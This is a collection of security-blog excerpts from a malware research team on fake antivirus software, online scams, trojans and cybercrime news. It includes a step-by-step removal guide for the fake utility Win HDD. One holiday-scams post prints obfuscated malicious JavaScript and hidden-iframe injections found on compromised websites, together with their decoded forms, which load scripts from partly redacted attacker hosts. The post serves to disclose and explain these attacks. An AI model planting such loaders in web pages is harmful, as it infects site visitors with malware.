By Steve Espino – PC Tools Malware Research Team
palladium
Palladium Pro is a fake antivirus program that displays fake malware alerts on PCs in order to make unsuspecting users think that their computer has been infected by malware. Palladium Pro is part of a massive number of fake antivirus clones with names like CoreGuardAntivirus2009, Security Essentials 2010, and XP Smart Security 2010, to name a few.

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When you’re in the business of directing people to websites, not taking them to sites riddled with harmful malware is a priority.  As the world’s most popular search engine, and with a very important reputation at stake, Google is focusing on keeping its search results clean—or at least letting its users know when search results are suspicious and potentially dangerous.

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The message board site 4Chan has learned the hard way that what goes around, does indeed come around.  On December 28th, 4Chan’s site was taken down by a Distributed Denial of Service (DDoS) attack.  Typically, DDoS attacks involve inundating a website’s servers with more access requests than they can handle.  Despite the inconveniences this type of attack presents, 4Chan is taking the attack in stride, even poking fun at the whole event.

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Antivirus.NET may sound like a legitimate website or program, but it’s far from it.  It’s essentially a newer version of previous rogue anti-virus software such as Antivirus Scan, Antispyware Soft, and AV Security Suite.  The first reports of Antivirus.NET surfaced in the fourth week of January 2011.

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ATMATMs certainly come through in times of financial need–they are yet another crutch in our increasingly technological world.  As such, they also serve as a big target for thieves and hackers.  It’s no secret that thieves can use ATM card skimmers to steal money right out of your bank account.  But what if every single ATM where you live had been hacked to steal all of the credit card information that it processed?

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For many, cold-calls represent a big, irritating waste of time.  But some cold-calls these days can cost you a lot more than annoyance and a loss of time; cybercriminals are resorting to cold-calls as a way to spread malware.

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Did you know that 34% of all malware that has ever existed was created in 2010 alone? A recent annual report includes startling facts like these, as well as other insight into the status of malware in the year 2010.

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25 years after the first computer virus was ever created, the malware distribution business is booming and vying for legitimacy.  Especially prominent is the rise of attack toolkits, also known as crimeware.  A recent report (PDF) revealed that attack toolkits are becoming more accessible and easier to use, which is leading to a dramatic increase in their use.  In terms of its overall effect on the malware landscape, the prominence of attack toolkits will probably translate to a rise in cyber attacks and an expansion of the malware-distributing community.

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As Valentine’s Day approaches, there’s no escaping the gifts associated with this romantic holiday – from flowers to chocolates to an endless assortment of red and pink gifts. Our email inboxes are no exception to this rule, as at this time of year they are flooded by Valentine’s Day e-cards, advertisements and articles. While it’s easy to get caught up in the warm and fuzzy feelings of this holiday, beware of cybercrooks who are quick to adjust their scams to fit the season. Here are some of the most popular online scams that are sure to appear this Valentine’s Day:

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The advent of online advertising brought with it a heap of illegal online practices aimed at making bank.  And they haven’t gone away.  In fact, as online advertising evolves, cybercriminals inevitably find ways to fraudulently capitalize on the influx of money that online ads bring.

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In early 2009, an unsuspecting grandmother looking for gifts for her grandchildren online was suddenly redirected to a website containing child-pornography.  She alerted the Italian Postal and Communications Police (PPC), who began monitoring the activity of the illicit pages.  Their investigation would eventually uncover a massive, global child-pornography operation.

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Cyber security blogger and malware researcher Dancho Danchev’s whereabouts have been unknown since September of 2010.  The details surrounding Danchev’s sudden disappearance are unclear to say the least, and one of his colleagues, Ryan Naraine, is asking for any information that could help shed light on the mystery.

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As people look for information or video online, it’s important that they understand that cyber-criminals may be using this opportunity to find more victims. This is just another example of how cybercriminals capitalize on global events or major news stories with wide consumer interests, events that are lucrative markets for cybercriminals. Other recent examples are Swine Flu and the release of Harry Potter and the Half Blood Prince.

The longest solar eclipse in the last century occured in July 2009 across Asia attracting a significant amount of media, user and therefore cybercriminal interest.

Feeding off the intense interest, innocent users have been attacked as they view search results about the eclipse.
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Cybercrime, like regular crime, appears in a variety of forms. There are direct violations, such as the unauthorized hacking of an account, and there are more subtle varieties, such as posing as a Facebook friend, that involve tricking victims into unwittingly handing over their sensitive information. The latter form of cybercriminal activity is known as “social engineering.” While the term is not specific to internet crime, it is often used in regard to cyberattacks because cybercrooks have mastered these techniques as a means to perform a host of unlawful online actions.

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This codec is not a codec.

I’ve been told that in Russian, the word Zlob is a part of “zlobny” (“evil” or “malicious”) and “zloba” (“animosity” or “anger”). Trojan.Zlob also is a long running and prevalent malware family that continues to be one of our user community’s highest hitting malware families. Its presence has been growing since 2005. While this blog hasn’t participated much in the geek drama describing this family, this one won’t leave the neighborhood.

In July 2007, it seemed that one of the individuals behind the software made a quick and somewhat quiet appearance. A mysterious poster by the handle “AnthW” claimed to be the project manager for this Rogueware stuff and attempted to legitimize the company’s software and business. He (or she) got hammered with criticism on the castlecops boards in a six page thread:
“My name in Anthony and I am project manager for the team, who created this software.”
Not something a mother would be proud of.

It seems that Anthony and the rest of the group continues to hide behind layers of deception. He posted that the group tried to help users clearly understand the software, by setting up a legitimate looking web site, which unsurprisingly does not provide any installers of their software:
“We have launched website that will help users to install/uninstall software. It also has online copy of EULA and contact email. URL is http://www.activexobj.com/
This will be included in our EULA in the next update.”

The site remains up. I’ve looked through the site to better understand how they help users to understand that what this company is distributing as a codec is not really a codec (Magritte, anyone?). Also, one half year later, I’ve been looking for changes that would be indicative of an online geniality, an honest effort to connect users that get infected with this adware with a description of what happened and instructions on how to uninstall. Unfortunately, that still isn’t happening, and users everywhere are tricked into running this stuff. Forums volunteering malware cleanup help reveal the frustration and confusion of users with Zlob on their systems (unfortunately, these traces also serve as a record of the security solutions running on the infected systems).

Instead, the developers of the software have been adding more layers of anti-debugging protection to the software.

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We received a malicious PDF file in August 2009, on analysis, we found that the malicious PDF file is different from recently analysed PDF exploits. This Adobe Flash zero-day exploit appears to be exploited in the wild. This exploit affects Adobe Reader 9.1.2 and earlier 9.x versions and Adobe Flash Player 9.0.159.0 and 10.0.22.87 and earlier 9.x and 10.x versions.

In this PDF file, there are two flash files embedded in it. One of them, fancyball.swf, doesn’t seem to do anything malicious, the other flash file save.swf (or oneoff.swf) uses action script to do heap spraying.
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The term “hacker” is almost exclusively associated with nefarious activities – from infiltrating email accounts to discovering and preying upon the vulnerabilities of corporate networks. Yet, “good” hackers provide a formidable defense against such threats. After completing educational courses and training, these cyberexperts, also known as “white hat hackers,” can find network weaknesses and prevent attacks. Both the federal government and the private sector are quickly realizing that the need for good hackers is one of the most important issues in the battle for cybersecurity.

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It’s no longer news that popular sites like Facebook and Twitter provide alluring forums for hackers to lure victims into their traps. As social networks gain new users, cybercriminals increasingly exploit the platforms to spread their malware. However, cyberscams on social networks are no longer a security problem for individuals alone. Businesses now have to worry about these breaches as workplace usage of social online platforms has increased, according to a new report.
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Social networks provide the ideal forum for spammers and hackers to engage in all types of cybercrime. Due to the inherent trust factor involved, most people (not including our tech-savvy readers, of course) don’t think twice before clicking on a link sent from a friend. Additionally, as personal information is disseminated to all corners of the web from the enormous user-bases of social networks, hackers and crooks have more opportunity than ever to implement their cyberattacks.

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Last year, as Twitter attracted more users, the rates of cybercrime rose concurrently. Phishing scams in particular greatly increased on the popular microblogging site. These attacks typically involve cybercriminals breaking into personal accounts in order to send direct messages to the victims’ networks, knowing that their friends are more likely to click on messages from a trusted source.

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The US has taken one more step in its war on cybercrime. Senators Kirsten Gillibrand, Democrat of New York, and Orrin Hatch, Republican of Utah, introduced the International Cybercrime Reporting and Cooperation Act. According to a press release about the legislation, the bill would “enhance America’s leadership and cooperation with other countries to combat cybercrime around the globe.”

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Computer forensics, also known as digital forensics, constitutes a branch of forensic science that deals with computers and digital media. More specifically, according to Computer-Forensics-Recruiter.com, an online resource for those interested in a career in the field, computer forensics is “the practice of identifying, preserving, and analyzing digital evidence for use in court.“

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During these tough economic times, scam artists are taking advantage of job seekers by offering alluring opportunities via emails, websites and advertisements  – from get rich quick schemes to work from home ploys. While job postings using phrases such as “Guaranteed Job Placement” and offering inflated salaries might seem like a quick fix to one’s financial woes, don’t be fooled by these common tricks used by online scammers. Bottom line: If it sounds too good to be true, it is!

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By Crescencio Reyes – PC Tools Malware Research Team

Cybercriminals typically use major news outbreaks as their main lure for malware delivery. However, as we recently discovered, even a relatively small news story out of Milan, Italy can be effectively used by cybercriminals to spread malware.  It lends credence to the idea that sex really does sell.

In this case, the “sexiness” of the story is related to schoolteacher, Ileana Tacconelli.  The news media became interested in Tacconelli when angry parents withdrew their children from a prestigious Milan school because she was deemed too sexy. Cybercriminals are capitalizing on this story by poisoning the search engine results. Doing a search for her in Google shows some images in the results page, which lead to a fake Adobe Flash Update.
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As we become ever more dependent on our laptops, smartphones and various other means to surf the web, internet crime continues to increase at an alarming rate. There’s no doubt that this rise in cybercrime is linked to organized crime; criminal gangs worldwide exploit the anonymity of the internet to conduct illegal activity. However, a recent story by BBC News about “political hacktivists” demonstrates that criminals are not the only ones using illegal hacking techniques to achieve their goals.

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Prepared by Steve Espino – PC Tools Malware Research Team

With the holidays just around the corner, people the world over are looking for the best deals on holiday packages and gifts for their friends and family. What better place to look than on the Internet—in the comfort of one’s own home and on one’s own digital devices? After all, travel sites that help eager holiday-goers find that perfect holiday getaway abound.

Yet while there are a host of legitimate travel and shopping websites, there are also, unfortunately, plenty of fraudulent websites posing as credible ones. And the threats don’t stop there; users also need to be aware that even legit travel and shopping-related websites may be prone to attacks. Although these trustworthy sites may appear ‘normal’ at first glance, there is often malicious code lurking beneath that puts your privacy at risk.

What you see is what you get. Or is it?

These are samples of legitimate sites that have been compromised with malicious invisible iframes or obfuscated scripts.

And below are some examples of these malicious scripts:

Users on the lookout for printable cards for Halloween and Hanukkah may have an embedded obfuscated malicious script to go with the cards:

<script>eval(unescape(‘var%20uhiktcwksaxfs%3D%27ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%2B%2F%27%3B%20function%20cxifjpvhyfhch%28str%29%20%7B%20str%3Dstr.split%28%27%40%27%29.join%28%27CAg%27%29%3B%20str%3Dstr.split%28%27%21%27%29.join%28%27W5%27%29%3B%20str%3Dstr.split%28%27%2A%27%29.join%28%27CAgI%27%29%3B%20var%20bt%2C%20dt%20%3D%20%27%27%3B%20for%28i%3D0%3B%20i%3Cstr.length%3B%20i%20%2B%3D%204%29%20%7B%20bt%20%3D%20%28uhiktcwksaxfs.indexOf%28str.charAt%28i%29%29%20%26%200xff%29%20%3C%3C18%20%7C%20%28uhiktcwksaxfs.indexOf%28str.charAt%28i%20%2B1%29%29%20%26%200xff%29%20%3C%3C12%20%7C%20%28uhiktcwksaxfs.indexOf%28str.charAt%28i%20%2B2%29%29%20%26%200xff%29%20%3C%3C%206%20%7C%20uhiktcwksaxfs.indexOf%28str.charAt%28i%20%2B3%29%29%20%26%200xff%3B%20dt%20%2B%3D%20String.fromCharCode%28%28bt%20%26%200xff0000%29%20%3E%3E16%2C%20%28bt%20%26%200xff00%29%20%3E%3E8%2C%20bt%20%26%200xff%29%3B%20%7D%20if%28str.charCodeAt%28i%20-2%29%20%3D%3D%2061%29%20%7B%20return%28dt.substring%280%2C%20dt.length%20-2%29%29%3B%20%7D%20else%20if%28str.charCodeAt%28i%20-1%29%20%3D%3D%2061%29%20%7B%20return%28dt.substring%280%2C%20dt.length%20-1%29%29%3B%20%7D%20else%20%7Breturn%28dt%29%7D%3B%20%7D’)); document.write(cxifjpvhyfhch(‘PHNjcmlwdCBsY!ndWFnZT1KYXZhU2NyaXB0IHNyYz0iaHR0cDovL25vLXRvLWJlLmNuL3BkZnMvbWFpbi5waHA/cj0rZXNjYXBlKGRvY3VtZ!0LnJlZmVycmVyKSsmbj14JnM9K2xvY2F0aW9uLmhyZWYrIj48L3NjcmlwdD4=’)); </script>

This translates to an embedded script:

<script language=JavaScript src=”hxxp://no-<blocked>.cn/pdfs/main.php?r=+escape(document.referrer)+&n=x&s=+location.href+”></script>

Here is an embedded obfuscated malicious script found in a website offering Yoga retreats in fantastic locations like Greece and India:

document.write(‘<script src=’+'h@^t@!$t$(p$^:#/)$&/$)n#(e$)w@s!$3$@i@!)n$)s!#i!d$)e##)r!$$-@(#c)(@o^@@))m^$.!)n$e&x)t@!&a&!&g^!@.#!c$@o!!m(!&).!(w)^$)i$@$n($$)d(o^!!w^#s&!l@$i#^v!e)^&-!^^c^!o^m).$c$o(#b#&^(a()$^l)#t$@t@(^r#!@u)&!e)&b(&l$@&!)u$#e(!$.&!(r^#&(!u@(:!&8#(!0!(8&^0#/#b#(&l!o)&g(^(f$!a$.))c$($o(@m$/((#!b)l(o!!#@g@)^f&#a&.)@c^#o!m#!/@)#g$(&o(^o@$)g(l(&e#$$.!@c$o^m$/))!w^^e^a#^@!t&#^@h)$$(e&r$.(@#c!o!m^/^!h(&#s!#b$$c((.)&c!@$o).&##&u(#k&!^#&/$)$^’.replace(/#|\)|\(|\!|@|\^|\$|&/ig, ”)+’ defer=defer></scr’+'ipt>’);</

Which translates to:

<script src=hxxp://news<blocked>blue.ru:8080/blogf<blocked>.com/google.com/weather.com/hsbc.co.uk/ defer=defer></script>

This one is from a website selling wholesale designer merchandise:

<script>

/*@cc_on @*/

/*@if (@_win32)

var source =”=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;00:6/23:/255/33:0tubut0tubut/kt#?=0tdsjqu?”; var result = “”;

for(var i=0;i<source.length;i++) result+=String.fromCharCode(source.charCodeAt(i)-1);

document.write(result);

/*@end @*/

</script>

The malicious script only executes when Windows users visit the site.

Deobfuscation reveals the following embedded script, which is designed to look like normal website statistics scripts in order to evade detection:

<script type=”text/javascript” src=”http://9<blocked>4.229/stats/stats.js”></script>

PC Tools also came across a travel website with pages that were injected all over with hidden, malicious iframes like this one:

<iframe width=”1″ height=”1″ src=”hxxp://st<blocked>7.info/traff/index2.php” style=”border: 0;”></iframe>

This hidden iframe runs a script from a malicious website, which allows the hackers to deliver any payload they desire–ranging from Fake AVs and password stealers to ransomware and worms that turn computers into ‘zombies’ as part of a large bot network.

In another instance, unsuspecting users are offered the opportunity to start earning money from home immediately. The scam entices users to sign up quickly by falsely claiming that there are very few positions remaining.

When users try to leave the page, the site offers them a chat with an “Agent” to “secure your position.” Users may be tricked into thinking that the agent is authentic when, in fact, it is often an automated bot.

Using names of big media networks

Same propaganda hosted on different sites

(un) Lucky you!

Hand over the money, voluntarily

Chat with an "Agent"

When users sign up, they are asked for their credit card details. This could result in massive fraudulent charges and even identity theft. For more information on identity theft, please visit the PC Tools Blog entry on the subject by clicking here.

PC Tools advises against entering credit card information on any suspicious forms or sites. Victims of these attacks are strongly advised to contact their credit card companies immediately to dispute any anomalous transactions and to ensure that there will be no future unauthorized charges.

We wish everyone a virus-free and scam-free Holiday Season!

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By Steve Espino – PC Tools Malware Research Team

If you ever receive any alerts related to “Win HDD” or observe any signs that it exists on your PC, make sure you take the proper steps to avoid it and/or remove it from your computer.  Win HDD is a fraudulent system diagnostics and hard drive defragmenter software which displays fake alerts and system errors on computers affected by it. It’s part of a family of fake system utilities programs which include HDD Diagnostic, HDD Defragmenter and HDD Control.

Similar to bogus antivirus programs, these system utilities programs are predominantly distributed using various Social Engineering techniques such as fake My Computer online scans. Often, they may be downloaded and installed by other malware existing on the affected computers.

Win HDD / HDD Diagnostic

Fake Malware Warnings

Win HDD displays a list of false information and fake warnings, and it can allegedly fix the problems only if the unsuspecting user buys the fake software it offers.

Win HDD Fake Scans and Error Messages

Win HDD Activation Notifications

Win HDD Fake Support Center

Dropped Files / Folders

Win HDD drops the following files:

  • %temp%\dfrg
  • %temp%\dfrgr
  • %temp%\<random>.exe (i.e. 98afc0.exe)
  • %programs%\Win HDD\Uninstall Win HDD.lnk
  • %programs%\Win HDD\Win HDD.lnk

and creates the folders:

  • %programs%\Win HDD\

Windows Registry Modifications

Win HDD creates these registry entries:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • value: <random>
  • data: %temp%\<random>.exe (i.e. 98afc0.exe)

How to remove Win HDD

Important Notice: Before attempting to manually remove Win HDD, be aware that you might need to modify browser settings, modify or remove registry settings and delete files and folders, which can result in your system becoming unstable. PC Tools recommends that the following procedures be performed by experienced users.

For additional information about working with the Windows Registry, please read the following Microsoft article: http://support.microsoft.com/kb/256986/EN-US/

1. Restarting in Safe Mode

In order to properly remove Win HDD, the infected machine needs to be restarted in Safe Mode.

For information on how to restart you computer in Safe Mode please refer to one of the following instructions from Microsoft depending on which version of Windows you are using:

Windows XP:

http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/boot_failsafe.mspx?mfr=true

Windows Vista:

http://windows.microsoft.com/en-US/windows-vista/Start-your-computer-in-safe-mode

Windows 7:

http://windows.microsoft.com/en-US/windows7/Start-your-computer-in-safe-mode

2. Cleaning Dropped Files/Foldes

Once the affected machine has been restarted in Safe Mode, please run the Windows Explorer.

To delete Win HDD files / folders, click on the Start button and then select Find or Search depending on the version of Windows you are running.

Search for the each of the following entries and delete them:

Important Notice: Please take extreme caution as Win HDD uses random characters.

  • %temp%\dfrg
  • %temp%\dfrgr
  • %temp%\<random>.exe (i.e. 98afc0.exe)
  • %programs%\Win HDD\Uninstall Win HDD.lnk
  • %programs%\Win HDD\Win HDD.lnk
  • %programs%\Win HDD\

Notes:

Typical paths for equivalent system variables are as follows:

  • %temp% – C:\Documents and Settings\[username]\Local Settings\Temp\
  • %programs% – C:\Documents and Settings\[UserName]\Start Menu\Programs\

3. Cleaning the Windows Registry

Important Notice: Please take extreme caution as Win HDD uses random characters.

Download and install PC Tools Startup Explorer here.

Run PC Tools Startup Explorer, and locate the Win HDD startup entry from the Startup Programs category.

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • value: <random>
  • data: %temp%\<random>.exe (i.e. 98afc0.exe)

As can be seen on the screenshot below, Win HDD uses Microsoft Security Essentials as the program name.  Select this entry, click Disable, and then click Delete.

Removing Win HDD Startup using PC Tools Startup Explorer

4. Scan the Computer using PC Tools Spyware Doctor

Scan the affected computer using PC Tools Spyware Doctor in order to clean the Windows Hosts file, and automatically remove all traces of infection including malicious running processes, dropped files, created folders, registry keys and entries.

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One of the largest, most consistent ongoing problems that we see is related to not-so-underground software piracy. Users of Limewire, BearShare, Frostwire and visitors of a certain pirate’s cove consistently see one family of trojans prevented on their systems. Whether it’s called Trojan.Win32.Agent, DR/Agent, Generic Proxy, Trojan.Horst or Trojan Horse by one AV vendor or another really doesn’t matter. What does matter, is that this family (let’s stick with Trojan.Agent), is in extremely high prevalence.

One of the most common variants is a trojan that is, oddly enough, consistently delivered with an Adobe Photoshop keygen. This “Agent” turns your machine into a spam-forwarding trojan proxy. The recent drop in global spam due to McColo’s fall is short-lived, because of the obscene prevalence of this stuff. Here is a list of the mail servers that it attempts to abuse:

  • mailin-01.mx.aol.com
  • mxs.mail.ru
  • mx1.yandex.ru
  • c.mx.mail.yahoo.com
  • d.mx.mail.yahoo.com
  • mailin-02.mx.aol.com
  • imx1.rambler.ru
  • mx2.yandex.ru
  • mailin-03.mx.aol.com
  • mailin-04.mx.aol.com

The trojan, once installed, is very patient in testing the availability of these servers for spamming purposes. In our lab, it would search for and initiate connections with these systems once every minute, cycling through the list.

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Russia, long known as a haven for hackers and spammers, is finally taking steps to crack down on cybercrime. Over the last several years, the Russian government has frustrated officials from other nations by allowing organized cybercrime gangs operating in the country to steal millions of dollars from companies throughout the United States and Europe. However, recent events prove that Russia is no longer turning a blind eye to the cybercrooks who once operated freely in the nation.

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